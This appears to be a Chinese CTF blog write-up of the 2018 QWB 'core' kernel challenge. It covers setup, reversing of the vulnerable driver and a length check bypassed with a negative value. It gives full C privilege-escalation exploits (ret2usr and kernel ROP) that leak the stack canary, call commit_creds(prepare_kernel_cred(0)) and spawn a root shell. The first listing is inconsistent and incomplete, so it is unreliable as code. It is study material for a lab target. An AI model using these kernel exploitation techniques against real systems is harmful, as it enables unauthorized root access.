kernel-2-stkof

kernel-2-stkof

这次主要基于内核栈溢出作为主题学习。相关练习是2018强网杯core

准备

拿到一道内核的附件首先要做的一些事情。首先介绍一下题目文件内容

bzImage:kernel映像

core.cpio:文件系统映像

start.sh:一个用于启动 kernel 的 shell 的脚本,多用 qemu,保护措施与 qemu 不同的启动参数有关

vmlinux:类比成用户态pwn中的libc文件。解压core.cpio之后core目录里也有个vmlinux,调试时用core目录的vmlinux。

vmlinux 未经过压缩,也就是说我们可以从 vmlinux 中找到一些 gadget,我们先把 gadget 保存下来备用。如果题目没有给 vmlinux,可以通过 extract-vmlinux 提取(命令:./extract-vmlinux ./bzImage > vmlinux)。

我们要做的首先是修改一些配置参数,包括机器内存,自动关机时间等。为了方便我们调试。

解包文件系统

1
2
3
4
5
6
7
8
9
10
11
12
# 解包文件系统
mkdir core
mv core.cpio ./core/core.cpio.gz
cd core
gunzip core.cpio.gz
cpio -idmv < core.cpio
rm -rf core.cpio
# 打包文件系统
./gen_cpio.sh core.cpio # gen_cpio.sh在解包的文件系统中自带
mv core.cpio ../core.cpio
cd ..
rm -rf core

类比于一般的pwn题,在解包的文件系统中,*.ko就是binary文件,vmlinux就是libc文件。

修改start.sh脚本

在这里修改分配内存,为了方便调试

1
2
3
4
5
6
7
8
9
10
➜  give_to_player git:(main) ✗ cat start.sh   
qemu-system-x86_64 \
-m 64M \ =======> change to -m 128M
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \ # 没有开启semp,可以ret2usr,否则只能内核rop
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \

修改文件系统初始化脚本

打开core,修改其中文件系统初始化脚本init,将时间行注释,如下所示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
➜  give_to_player git:(main) ✗ cd core     
➜ core git:(main) ✗ ls
bin core.ko etc gen_cpio.sh init lib lib64 linuxrc proc root sbin sys tmp usr vmlinux
➜ core git:(main) ✗ cat init
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
# 把kallsyms的内容保存到本地,这样就能从/tmp/kallsyms中获取commit_creds,prepare_kernel_cred等函数的地址了
echo 1 > /proc/sys/kernel/kptr_restrict
# 之后在设置这里restrict为1,表示不能通过/proc/kallsyms查看函数地址,但是之前我们已经保存,因此这句话就无关紧要了
echo 1 > /proc/sys/kernel/dmesg_restrict
# dmesg用来储存开机时一些log信息,这里把restrict设置为1就表示后续无法读取信息了
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko

# poweroff -d 120 -f & <======这里注释,类似alarm
setsid /bin/cttyhack setuidgid 0 /bin/sh # <======这里原来数字是1000,改为0,表示我们可以有内核的调试权限,这样可以方便看到符号表等。
echo 'sh end!\n'
umount /proc
umount /sys

poweroff -d 0 -f

调试方式

1
2
3
➜  give_to_player git:(main) ✗ qemu-system-x86_64 --help|grep gdb 
-gdb dev wait for gdb connection on 'dev'
-s shorthand for -gdb tcp::1234

这里说明qemu的远程调试端口可以用-s缩写来代替。-s就是代表-gdb tcp::1234。当然,也可以指定其他端口。可以回看我们的启动脚本,发现其中已经包含了-s。我们直接可以远程调试。

题目分析

内核保护介绍

  • canary、pie、NX和一般的题目类似
  • smep(supervisor mode access prevention)当处于用户态页表的进程想要执行内核代码时,将会报错。同样的,在内核模式下,执行用户空间代码,也会报错。

本题目保护如下。semp未开启。

1
2
3
4
5
6
[*] '/home/nicholas/Desktop/kernel/pwnkernel/problems/give_to_player/core/core.ko'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x0)

分析题目

拿到一道内核题,首先应该看init_module,它相当于驱动创建的主函数。

其次,看core_ioctl。这里定义了如何对驱动进行指令级别的管理。也就是之前提到ioctl能够操控的原因。本题的ioctl函数如下。ioctf中包含的函数和之前做os一样。仔细看一下这三个函数做了什么。a3是一个局部变量,core_read可以读入到a3,之后第二个可以把a3赋值给off,最后一个调用了core_copy函数。可想而知这是一个比较关键的函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
__int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3)
{
switch ( a2 )
{
case 1719109787:
core_read(a3);
break;
case 1719109788:
printk(&unk_2CD); // core:%d\n
off = a3;
break;
case 1719109786:
printk(&unk_2B3); // core: called core_copy
core_copy_func(a3);
break;
}
return 0LL;

read函数

从用户空间读取数据,也就是我们的主函数。在内核中,我们无法直接读取用户输入,要经过syscall等ipc调用。具体流程在操作系统课上将会详细说明。注意这里的copy_to_user是库函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
unsigned __int64 __fastcall core_read(__int64 a1)
{
char *v2; // rdi
__int64 i; // rcx
unsigned __int64 result; // rax
char v5[64]; // [rsp+0h] [rbp-50h] BYREF
unsigned __int64 v6; // [rsp+40h] [rbp-10h]

v6 = __readgsqword(0x28u);
printk(&unk_25B); // called core read
printk(&unk_275); // %d %p (不知道这里是输出了什么?)
v2 = v5;
for ( i = 16LL; i; --i )
{
*(_DWORD *)v2 = 0;
v2 += 4;
}
strcpy(v5, "Welcome to the QWB CTF challenge.\n");
result = copy_to_user(a1, &v5[off], 64LL); // <==== 从内核空间复制数据到用户空间,注意off是我们可以控制的。
if ( !result )
return __readgsqword(0x28u) ^ v6;
__asm { swapgs }
return result;
}

由于off我们可以控制,因此可以通过控制off泄露一些地址和canary。

core copy函数

比较关键的其实就是在于core_copy函数了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
__int64 __fastcall core_copy_func(__int64 a1)
{
__int64 result; // rax
_QWORD v2[10]; // [rsp+0h] [rbp-50h] BYREF

v2[8] = __readgsqword(0x28u);
printk(&unk_215);
if ( a1 > 63 )
{
printk(&unk_2A1); // detect overflow
result = 0xFFFFFFFFLL;
}
else
{
result = 0LL;
qmemcpy(v2, &name, (unsigned __int16)a1); // so we copy at most 64?
}
return result;

不难发现,这里有一个问题。在检查a1大小合法性时,是将他和63比较,大于则有错,但是我们可以写小于0的。同时,在真正qmemcopy时,只比较了强行转换为unsigned int 16的变量。我们如果写一个0xfffffffffffff100就可以绕过第一个检查(因为这个数字小于0),同时也使得第二个检查中结果为0xf100,远远大于64,这样就实现了栈溢出

exp

首先明确攻击思路。如下所示

​ (1)获取 commit_creds(),prepare_kernel_cred() 的地址: /tmp/kallsyms 中保存了这些地址,可以直接读取,同时根据偏移固定也能确定 gadgets 的地址。

(2)通过 ioctl 设置 off,然后通过 core_read() leak 出 canary

(3)通过 core_write() 向 name 写,构造 ropchain

(4)通过 core_copy_func() 从 name 向局部变量上写,通过设置合理的长度和 canary 进行 rop

(5)通过 rop 执行 commit_creds(prepare_kernel_cred(0))

(6)返回用户态,通过 system(“/bin/sh”) 等起 shell

准备

我们如果要调试内核,首先要获取镜像加载地址。在一般的os中,内核通常在高地址。这里我们可以直接看到,如下所示。

1
2
3
4
// 在启动好的题目中
/ # cat /sys/module/core/sections/.text
0xffffffffc03f0000

接着,开一个gdb远程连接上去。使用如下命令

1
2
3
4
// 第一步:远程连接
pwndbg> target remote 127.0.0.1:1234
// 第二步:加载符号文件的基地址
pwndbg> add-symbol-file ./core/core.ko 0xffffffffc03f0000 // 这个地址就是上面的到的地址

接着就可以在函数名上面下断点了

1
2
pwndbg> b core_read
Breakpoint 1 at 0xffffffffc03f0063

以上相当于获得了镜像的函数地址,但是我们最终需要执行的是

1
commit_creds(prepare_kernel_cred(0));

这两个函数都在类似于glibc的vmlinux中。为此,我们要首先找到这两个函数的偏移(在pwntools中没有直接找到vmlinux中符号偏移的方法)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
elf = ELF('./core/vmlinux')
# 0xffffffff81000000 找到的办法:
➜ give_to_player git:(main) ✗ checksec ./core/vmlinux
# [*] '/home/nicholas/Desktop/kernel/pwnkernel/problems/give_to_player/core/vmlinux'
# Arch: amd64-64-little
# Version: 4.15.8
# RELRO: No RELRO
# Stack: Canary found
# NX: NX disabled
# PIE: No PIE (0xffffffff81000000) <=====地址在这里
# RWX: Has RWX segments
print "commit_creds",hex(elf.symbols['commit_creds']-0xffffffff81000000)
print "prepare_kernel_cred",hex(elf.symbols['prepare_kernel_cred']-0xffffffff81000000)
# result:找到的偏移量
# commit_creds 0x9c8e0
# prepare_kernel_cred 0x9cce0

接下来寻找在内核中commit_creds的地址。和用户态一样,VMlinux也会被加载到一个随机地址。但是不重要,一旦我们知道了偏移,就可以知道被加载到内核中的VMlinux的基地址,从而计算出内核中commit_creds的地址。

1
2
3
4
5
# cat /proc/kallsyms | grep commit_creds
ffffffffaa09c8e0 T commit_creds
# (python3)
>>> hex(0xffffffffaa09c8e0-0x9c8e0)
'0xffffffffaa000000' # 得到加载VMlinux的基地址

ret2usr

首先了解一下流程

1 ***执行 commit_creds(prepare_kernel_cred(0))***,此时该进程已经是id为0的root进程了,但是仍在内核态中。而这条语句的执行可以用ROP来做,由于SMEP没开,ret2user也可以,ret2user就是在编写的程序中写入一个函数调用该函数,将ROP的该部分直接写成用户态函数的地址;

2 ***执行swapgs***,准备回到用户态

3 iretq回到用户态,在rsp指向的位置布置好相关寄存器的值,特别的将rip寄存器的值保存为执行system(“/bin/sh”),再返回用户态后就可以拿到一个root权限的shell了。

由于没有开启smep,可以尝试用ret2usr来做。

ret2usr过程中,包括了os里面的保存寄存器,弹出寄存器的操作。这里需要我们手写内联汇编。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// 保存用户上下文
unsigned long user_cs, user_ss, user_eflags,user_sp;
void save_stats() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %3\n"
"pushfq\n"
"popq %2\n"
:"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
:
: "memory"
);
}

接着可以根据反汇编结果编写交互函数

1
2
3
4
5
6
7
8
9
10
11
void setoff(int fd,int off){
ioctl(fd,0x6677889C,off);
}

void core_read(int fd,char *buf){
ioctl(fd,0x6677889B,buf);
}

void core_copy(int fd , unsigned long long len){
ioctl(fd, 0x6677889A,len);
}

接下来可以编写main函数。这里尝试分析一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
int fd;
unsigned long user_cs, user_ss, user_eflags,user_sp;
size_t commit_creds_addr,prepare_kernel_cred_addr;

void core_read(char *buf){
ioctl(fd,0x6677889B,buf);
//printf("[*]The buf is:%x\n",buf);
}

void change_off(long long v1){
ioctl(fd,0x6677889c,v1);
}

void core_write(char *buf,int a3){
write(fd,buf,a3);
}

void core_copy_func(long long size){
ioctl(fd,0x6677889a,size);
}

void shell(){
system("/bin/sh");
}

void save_stats(){
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %3\n"
"pushfq\n"
"popq %2\n"
:"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
:
: "memory"
);
}

void get_root(){
char* (*pkc)(int) = prepare_kernel_cred_addr;
void (*cc)(char*) = commit_creds_addr;
(*cc)((*pkc)(0));
}
int main(void){
save_stats() ; // 保存上下文
unsigned long long buf[0x40/8]; // 创建一个0x40长度的buf,作为用户态和内核交互的缓冲区
memset(buf,0,0x40);
unsigned long long canary ;
unsigned long long module_base ;
unsigned long long vmlinux_base ;
unsigned long long iretq ;
unsigned long long swapgs ;
unsigned long long rop[0x30];
memset(buf,0,0x30*8); // 不知道这是干什么用的
int fd = open("/proc/core",O_RDWR); // 大概是打开内核文件
if(fd == -1){
printf("open file error\n");
exit(0);
}
else{
printf("open file success\n");
}
printf("[*] buf: 0x%p",buf);
setoff(fd,0x40); // 设置off的值,0x40之后一个就是canary。于是可以泄露。主语buf类型是char
core_read(fd,buf);
canary = buf[0]; // 获取canary
module_base = buf[2] - 0x19b; // 这两个地址是看出来比较接近module和vmlinux的。具体看出来的方法就是调试,看栈
vmlinux_base = buf[4] - 0x16684f0;
printf("[*] canary: 0x%p",canary);
printf("[*] module_base: 0x%p",module_base);
printf("[*] vmlinux_base: 0x%p",vmlinux_base);
commit_creds = vmlinux_base + 0x9c8e0; // 找到对应两个重要函数
prepare_kernel_cred = vmlinux_base + 0x9cce0;
iretq = vmlinux_base + 0x50ac2; // 这个是找到的gadget,偏移量计算方式和之前差不多
swapgs = module_base + 0x0d6;
rop[8] = canary ;
rop[9] = 0; // rbp,随便写即可
rop[10] = payload;// <=== ret
rop[11] = swapgs;// swapgs; popfq; ret swapgs表示切换页表,接下来按照push顺序pop各个寄存器的值:
rop[12] = 0; //
rop[13] = iretq ;
rop[14] = get_shell ; // RIP 也就是我们的system函数,可以直接写用户态的地址
rop[15] = user_cs; // 这些值我没看见在哪里定义过?但是也不能直接设置为0,可能是内联汇编保存的
rop[16] = user_eflags;
rop[17] = user_sp;
rop[18] = user_ss;
rop[19] = 0; // 不知道这个的用处
write(fd,rop,0x30*8);
core_copy(fd,0xf000000000000000+0x30*8);

静态编译上述文件,并放到文件系统中,之后可以尝试调试。

刚才没有说明如何找到canary,这里通过调试说明

1
2
3
4
5
6
# (pwndbg)
0xffffffffc012006e <core_read+11> sub rsp, init_module+36 <72>
0xffffffffc0120072 <core_read+15> mov rax, qword ptr gs:[0x28]
0xffffffffc012007b <core_read+24> mov qword ptr [rsp + 0x40], rax
► 0xffffffffc0120080 <core_read+29> xor eax, eax
# 可以看到上面把canary放到rsp+0x40地方。其实IDA里面也能看到。我们想调试的主要目的是想获得module和vmlinux的一些地址。
1
2
3
4
5
6
7
8
# (pwndbg)
08:0040│ 0xffffa6f6400d3e58 ◂— add ch, al /* 0xabcb5d9dd231c500 */ # canary
09:0048│ 0xffffa6f6400d3e60 —▸ 0x7fff7548c1a0 ◂— 0
0a:0050│ 0xffffa6f6400d3e68 —▸ 0xffffffffc012019b (core_ioctl+60) ◂— jmp 0xffffffffc01201b5 # about module base
0b:0058│ 0xffffa6f6400d3e70 —▸ 0xffff8a54c78b66c0 ◂— add qword ptr [r8], rax /* 0x81b6f000014b */
0c:0060│ 0xffffa6f6400d3e78 —▸ 0xffffffffba7dd6d1 ◂— mov rdi, rbx # about vmlinux base
0d:0068│ 0xffffa6f6400d3e80 ◂— wait /* 0x889b */

这里vmlinux base和module base两个的关系还是没有很清楚。

ROP

rop就是如果无法在用户空间直接执行commit_creds(prepare_kernel_cred(0))时采用的方法。在上面ret2usr中我们实际上是在用户地址空间中执行的上述exp,但是如果有限制不能再用户空间执行此函数。我们首先要在vmlinux中找到此函数的地址,具体方法就是先泄露偏移量,再通过之前讲到的获取符号表的方法找到commit_creds和prepare_kernel_cred这两个函数的偏移,使用rop调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
int fd;
unsigned long user_cs, user_ss, user_eflags,user_sp;

void core_read(char *buf){
ioctl(fd,0x6677889B,buf);
//printf("[*]The buf is:%x\n",buf);
}

void change_off(long long v1){
ioctl(fd,0x6677889c,v1);
}

void core_write(char *buf,int a3){
write(fd,buf,a3);
}

void core_copy_func(long long size){
ioctl(fd,0x6677889a,size);
}

void shell(){
system("/bin/sh");
}

void save_stats(){
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %3\n"
"pushfq\n"
"popq %2\n"
:"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
:
: "memory"
);
}

int main(){
int ret,i;
char buf[0x100];
size_t vmlinux_base,core_base,canary;
size_t commit_creds_addr,prepare_kernel_cred_addr;
size_t commit_creds_offset = 0x9c8e0;
size_t prepare_kernel_cred_offset = 0x9cce0;
size_t rop[0x100];
save_stats();
fd = open("/proc/core",O_RDWR);
change_off(0x40);
core_read(buf);
/*
for(i=0;i<0x40;i++){
printf("[*] The buf[%x] is:%p\n",i,*(size_t *)(&buf[i]));
}
*/
vmlinux_base = *(size_t *)(&buf[0x20]) - 0x1dd6d1;
core_base = *(size_t *)(&buf[0x10]) - 0x19b;
prepare_kernel_cred_addr = vmlinux_base + prepare_kernel_cred_offset;
commit_creds_addr = vmlinux_base + commit_creds_offset;
canary = *(size_t *)(&buf[0]);
printf("[*]canary:%p\n",canary);
printf("[*]vmlinux_base:%p\n",vmlinux_base);
printf("[*]core_base:%p\n",core_base);
printf("[*]prepare_kernel_cred_addr:%p\n",prepare_kernel_cred_addr);
printf("[*]commit_creds_addr:%p\n",commit_creds_addr);
//junk
for(i = 0;i < 8;i++){
rop[i] = 0x66666666;
}
rop[i++] = canary; //canary
rop[i++] = 0; //rbp(junk)
rop[i++] = vmlinux_base + 0xb2f; //pop_rdi_ret;
rop[i++] = 0; //rdi
rop[i++] = prepare_kernel_cred_addr;
rop[i++] = vmlinux_base + 0xa0f49; //pop_rdx_ret
rop[i++] = vmlinux_base + 0x21e53; //pop_rcx_ret
rop[i++] = vmlinux_base + 0x1aa6a; //mov_rdi_rax_call_rdx
rop[i++] = commit_creds_addr;
rop[i++] = core_base + 0xd6; //swapgs_ret
rop[i++] = 0; //rbp(junk)
rop[i++] = vmlinux_base + 0x50ac2; //iretp_ret
rop[i++] = (size_t)shell;
rop[i++] = user_cs;
rop[i++] = user_eflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
core_write(rop,0x100);
core_copy_func(0xf000000000000100);
return 0;
}

这里有一个pop_rcx_ret的原因是因为call指令的时候会把它的返回地址push入栈,这样会破坏我们的ROP链,所以要把它pop出去。和ret2usr很相似,都是基于栈溢出。这里唯一不同的地方就是执行代码没有直接使用用户空间的,而仍然是内核的(因为我们rop本质是在驱动里面运作,在内核态)

寻找gardet的方法如下

ropper –file vmlinux -search “pop|ret” (较慢)

objdump -d vmlinux -M intel | grep -E ‘ret|pop’(格式不好看,但是很快)

主要找到上述类似gardet,可以模仿来做栈溢出等。

文章目录
  1. 1. kernel-2-stkof
    1. 1.1. 准备
      1. 1.1.1. 解包文件系统
      2. 1.1.2. 修改start.sh脚本
      3. 1.1.3. 修改文件系统初始化脚本
      4. 1.1.4. 调试方式
    2. 1.2. 题目分析
      1. 1.2.1. 内核保护介绍
      2. 1.2.2. 分析题目
        1. 1.2.2.1. read函数
        2. 1.2.2.2. core copy函数
    3. 1.3. exp
      1. 1.3.1. 准备
      2. 1.3.2. ret2usr
      3. 1.3.3. ROP
|